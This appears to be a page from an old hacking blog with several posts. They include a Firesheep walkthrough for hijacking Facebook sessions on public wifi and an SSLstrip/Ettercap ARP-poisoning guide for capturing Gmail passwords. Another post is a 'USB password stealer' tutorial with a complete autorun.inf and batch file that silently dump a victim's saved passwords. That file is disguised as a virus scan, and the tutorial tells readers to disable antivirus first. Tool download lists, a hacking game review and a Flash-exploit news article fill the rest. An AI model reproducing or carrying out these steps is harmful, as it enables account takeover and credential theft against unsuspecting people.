Firesheep Makes Facebook Hacking Very Easy

Recently a new firefox addon Firesheep have been a cause of thousands of email accounts, As reported by techcurnch, Firesheep has been downloaded more than 104,000 times in roughly last 24 hours, With Firesheep the hacker can control any account without even knowing the username and password of the desired account, AsFacebook is worlds most popular Social Networking website, therefore it has been the major victim of it, Firesheep uses Http Session hijacking attack to gain unauthorized access to a Facebook or any other account

What is Session Hijacking?

In a Http session hijacking attack an attacker steals victims cookies, Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Facebook Google, Yahoo, Orkut, Flickr etc or any other email account

How can a Hacker use Firesheep to Hack a Facebook or any other account?

Now I will tell you how can a hacker use firesheep to hack a facebook or any other account, You will need the following things:

• Public wifi access
• winpcap
  
• Firesheep(Download)

Method

1. First of all download "Firesheep" from the above link and use the "openwith" option in the firefox browser

2. Once you have installed firesheep on firefox web browser, Click on view at the top, then goto sidebar and click on Firesheep

3. Now click on the top left button "Start capturing" and it will start to capture the session cookies of people in your wifi network, This will show you the list of those people whose cookies are captured and have visited unsecured website known to firesheep, Double click on the photo and you will be logged in instantly 

Hope you liked the post! Pass the comments

Read More

Usb Password Stealer

As we know that windows stores most of its passwords on daily basis , Such as Msn messenger passwords,Yahoo passwords,Myspace passwords etc.Most of people have lack of time and they had just asked their Browser/windows to save their passwords,As we know that there are many tools to recover Saved passwords,so in this article i will explain you on How to made a USB passwords stealer and steal saved passwords.

Things you will need?

MessenPass - MessenPass is a password recovery tool that reveals the passwords of the following instant messenger applications:

Mail PassView - Mail PassView is a small password-recovery tool that reveals the passwords and other account details for Outlook express,windows mail,POP3 etc

IE Passview - IE passview is a small program that helps us view stored passwords in Internet explorer.

Protected storage pass viewer(PSPV) -  Protected Storage PassView is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer.


Password Fox - Password fox is a small program used to view Stored passwords in Mozilla Firefox.


Now here is a step by step tutorial to create a USB password stealer to steal saved passwords:

Note:Kindly disable your antivirus before performing these steps

1.First of all download all 5 tools and copy the executables (.exe( files in your USB  i.e. Copy the files  mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.


2. Create a new Notepad and write the following text into it

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

save the Notepad and rename it from


New Text Document.txt to autorun.inf


Now copy the autorun.inf file onto your USB pendrive.


3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from


New Text Document.txt to launch.bat


Copy the launch.bat file also to your USB drive.


Now your USB Password stealer is ready all you have to do is insert it in your victims computer and  a popup will appear, in the popup window select the option (Launch virus scan) as soon as you will click it the following window will appear.

After this you can see saved password in .TXT files

Read More

Man In The Middle Attack - SSL Hacking

One of the most successful way of gaining information such as passwords,user ids etc in LAN (local area network) is through man in the middle attacks . I will not be going to deep into Man in the middle attacks, but in simple words it can be explained as attacker or a hacker listening to all the information sent in between the client and the server .To prevent these kind of attacks Email providers started using Hypertext Transfer Protocol Secure (HTTPS) It is a combination of the Hypertext Transfer Protocol(HTTP) with SSL (Secure socket layer )protocol to provide encrypted communication between the client and the server .So when a hacker caries out a Mimt attack the victim is cautioned with a invalid SSL Certificate

In this tutorial I will teach how to carry out a successful Mitm attack


Concept :-

We Know that HTTP (Hypertext Transfer Protocol )simply sends all the information through plain text .So if we make the victim use HTTP instead of HTTPS to connect sites like Gmail , Pay pal. we will be able to carry out a successful Mitm attack with out causing any suspicion To do this we are going to use a tool called SSL strip

Thing we Need 

1. SSL strip: You can search Google for SSL strip it comes both in windows and Linux versions . I will be using the windows version in this tutorial 

2. Ettercap to carry out mitm attacks

Demonstration :- 

1. Open SSL strip and fill in all the required information for arpsoof, network ,ssl strip, change data .If you don’t know what to enter simply click auto check . remember to check if HTTPS to HTTP is included in Change data , finally click ok

2. Now select the victim’s IP and click open 

3. Now open ettercap go to sniff -unsniffed sniffing and select your network interface and click ok 

4. Now select hosts-scan hosts .Once scanning is completed .Open host list from hosts tab .Now select the IP address of the router as target 1 and the victims IP as target 2

5. Now select mitm-arp poisoning and click ok as shown

6. Finally select start-start sniffing .Now when the victim logs into gmail he will be using HTTPand not HTTPS Hence we are able to get the user id ,passwords as shown below

Counter measures: 

1. whenever you perform an online transaction such as Credit card payment, Bank Login or Email login always ensure that you Use HTTPS 

2. Always check the SSL certificate before doing an online transaction

Read More

Hacking School Download Section Lesson 1

Welcome to the Hacking School Download Section. Here you can download all programs presented in the course. You can find your program by pressingCTRL+F. Simply type the word to look for and press ENTER.
Note: The programs are compressed in RAR file format. You need to download a file archiver software, like WinRar or 7-Zip, in order to open the files. You can download WinRar for free from here

Concept of Hacking

1. Proxy Software 

GPass 

GPass is a highly advanced software that can encrypt your online data, hide your IP address, and sidestep content filtering and monitoring using a number of secure channels to connect to the Internet and break through the Internet blockade. GPass supports the online applications that you use the most, including Web browsers (e.g. Firefox), multimedia players, email, instant messengers, download managers, and so on. 

Hopster 

Bypass Firewall - Bypass Proxy - HTTP tunnel Chat with your friends using your favourite applications: MSN, AOL, Yahoo Messenger, ICQ, Miranda, Trillian, mIRC... Wherever your friends are, hopster will bypass a censoring firewall and take you right to your buddies. 

Browse, Surf, Download & Chat Anonymously Hide your real IP address and protect yourself from nosy people and wannabe-hackers. With hopster, there's no way anyone will know where or who you are. 

M Proxy 

This provides proxy solutions, with which you can access the blocked websites and protect your online privacy. You can also get free proxy lists. 

Proxy I 

A server that sits between a client application, such as a Web browser, and a real server. It intercepts all requests to the real server to see if it can fulfill the requests itself. If not, it forwards the request to the real server. 

Tor 

Tor is free software and an open network that helps you defend against a form of networksurveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security known as traffic analysis. Tor protects you by bouncing your communications around a distributed network of relays run by volunteers all around the world: it prevents somebody watching your Internet connection from learning what sites you visit, and it prevents the sites you visit from learning your physical location. Tor works with many of your existing applications, including web browsers, instant messaging clients, remote login, and other applications based on the TCP protocol. 

Download Proxy Software

2. Scanners 

GFI Lan Guard 

GFI LANguard™ scans your network and ports to detect, assess and correctsecurity vulnerabilities with minimal administrative effort. As an administrator, you have to deal separately with problems related to vulnerability issues, patch management and network auditing, at times using multiple products. However, with GFI LANguard these three cornerstones of vulnerability management are addressed in one package. This gives you a completepicture of your network set-up and help you to maintain a secure networkstate faster and more effectively. Vulnerability Management Patch Management Network Auditing 

Nessus 

The Nessus® is a vulnerability scanner for active scanners, featuring high-speed discovery, configuration auditing, asset profiling, sensitive data discovery and vulnerability analysis of your security posture. Nessus scanners can be distributed throughout an entire enterprise, inside DMZs and across physically separate networks. 

Net Tools 

Net Tools is a comprehensive set of host monitoring, network scanning, security, administration tools and much more, all with a highly intuitive user interface. It's an ideal tool for those who work in the network security, administration, training, internet forensics or law enforcement internet crimes fields. 

NMAP 

Nmap ("Network Mapper") is a free and open source utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), and a utility for comparing scan results. 

Download Scanners

Read More

Wireless WEP Key Password Spy 1.1

This software will instantly recover all WEP keys and wireless network passwords that have been stored on your computer. To get started, click “Find Wireless WEP Keys”. It will then display the adapter GUID and all recovered information associated with it including the wireless network name (SSID), the encryption type (WEP 40, WEP 104, or WPA-PSK), and the WEP key associated with each network. At the bottom of the screen you can see the name of your current Ethernet adapter, the total Kb sent and received during the current Windows session, and the current down/up throughput.




Download Wireless WEP Key Password Spy 1.1
                              here

Read More

Hack The Game

It's OK. This was your test. Your game. I was testing you. I took you in. I selected you for the honor of carrying on my life's work. But you didn't. You didn't test anyone's will to hack. Instead you took away their only chance. Your games were unwinnable, your subjects merely victims. In my desperation I decided to give you one last chance. So I put everything in place, and I let you make your own choices. I wanted you to succeed... You couldn't. Game over. (This is a modified quote from the SAW movie. I had to write this in my post, i just had to :)

Now lets go to the real post. Here I'll show you a hacking simulation game called HackTheGame. In it you take on the role of a hacker that takes on various assignments. During these assignments you will be able to use a toolbox filled with (hacking) tools.

If you are already known to the hacking world then, welcome to the virtual simulation world of hacking environment.

If you really need some easy platform to practice hacking then I think this article will be a great help for you. Yes I am talking about the real hacking game, Hack The Game.

HackTheGame is a free 1MB file game which will introduce you to the real hacking word.

The real hack able DOS environment makes you feel like that you have finally accessed to US Defense system.

The game becomes much more interesting and fun because of the addition of sounds. The sounds includes typing and several warning announcement.




The user interface of HackTheGame is very friendly and easy. Just open the program and select your language, input any ID you may like.

There are several missions of this game. You’ll get the briefing of each mission in your inbox



The mail itself includes several hints and processes





If you find sounds irritating then, you can go to settings menu and disable sounds. But I bet you, enabling sounds makes your game play experience very easy.




I bet you’ll love this game.

No installation is needed to run this game and it is obviously safe to use because it utilizes local files which in game play acts as a remote files. You don’t have to worry about your security. If you doubt it, then play it offline.

Download from here
 HackTheGame

Read More

HACKERS EXPLOIT LATEST FLASH BUG ON LARGE SCALE

Hackers are aggressively exploiting a just-patched Flash vulnerability, serving attack code "on a fairly large scale" from compromised sites as well as from their own malicious domains, a security researcher said Friday.


The attacks exploit the critical Flash Player bug that Adobe patched June 14 with its second "out-of-band," or emergency update, in nine days.


"CVE-2011-2110 is being exploited in the wild on a fairly large scale," said Steven Adair, a researcher with the Shadowserver Foundation, a volunteer-run group that tracks vulnerabilities and botnets. "In particular this exploit is showing up as a drive-by in several legitimate websites, including those belonging to various NGOs [non-government organizations], aerospace companies, a Korean news site, an Indian government Web site, and a Taiwanese university."


CVE-2011-2110 is the identifier for the Flash vulnerability assigned by the Common Vulnerabilities and Exposures database.


Attackers are also using the exploit in "spear phishing" attacks aimed at specific individuals, said Adair on the Shadowserver site.


Adair called the attacks "nasty" because the exploit "happens seamlessly in the background," giving victims no clue that their systems have been compromised.


When Adobe patched the vulnerability last week, it conceded that exploits were already in use.


Adair also said there's been an increase in Flash-based attacks. "There has been an ongoing assault against Flash Player for several years now, but especially so in the last three months," Adair said.


Adobe has patched Flash Player four times in the last two months, and six times so far this year. Of the six updates, five addressed "zero-day" bugs that attackers were already exploiting at the time the patches were issued.


Brad Arkin, Adobe's director of product security and privacy, acknowledged the problems in keeping ahead of attackers, but blamed the popularity of Flash Player for the attention.


"The installed base [of Flash Player] is a real big part of it," said Arkin. "It's such a widely distributed technology that attackers find it worthwhile to invest the time to carry out some kind of malicious activity. They're making an investment for the biggest return possible."


Arkin also argued that attackers get more bang for their buck by rooting out Flash vulnerabilities than they do looking for bugs in individual browsers because virtually every personal computer has the Flash plug-in installed. "Flash is the code [used in the browser] that has the highest market penetration," he said.


According to Adair, the exploit of CVE-2011-2110 has been in use since June 9, five days before Adobe issued its latest security update. Arkin corroborated that timeline.


Although Adobe's working on boosting Flash's security -- it's collaborated with Google, for example, to sandbox Flash in Chrome -- for now, its best defense is to quickly react to exploits with a patch.


"I think we're more aggressive than Microsoft," said Arkin, referring to the two companies' approaches to shipping out-of-band updates. "Basically, if we have information about attacks in the wild, or if the information is out there on a [security] mailing list -- which means attacks are imminent -- that tends to be a trigger for us to think about an out-of-band."


Microsoft's criteria for deciding whether to issue an emergency patch is confidential, but the company has said it generally considers an out-of-band fix if it sees attacks increasing in volume.


By pushing out a patch as quickly as possible, Adobe believes it squelches discussion among security researchers and attackers.


"If there are attacks in the wild, there will be lots of blog posts analyzing the vulnerability and exploit," said Arkin. "The information migrates from the high end to the low end very quickly. So we squash the debate by fixing it."


Arkin said Adobe has focused on getting patches out quickly, and that the fix for an earlier Flash vulnerability -- one Adobe released June 5 -- had a turn-around of less than 72 hours.


"The more practice we have, the faster we turn around [patches]," Arkin said.


Adair urged everyone to keep Flash Player up-to-date. "If you or your organization runs Adobe Flash and you're not keeping up on these patches ... you are in bad shape," he said.


The newest version of Flash Player can be downloaded from Adobe's Web site. Alternately, users can run the program's integrated update tool or wait for the software to prompt them that a patched edition is available

Read More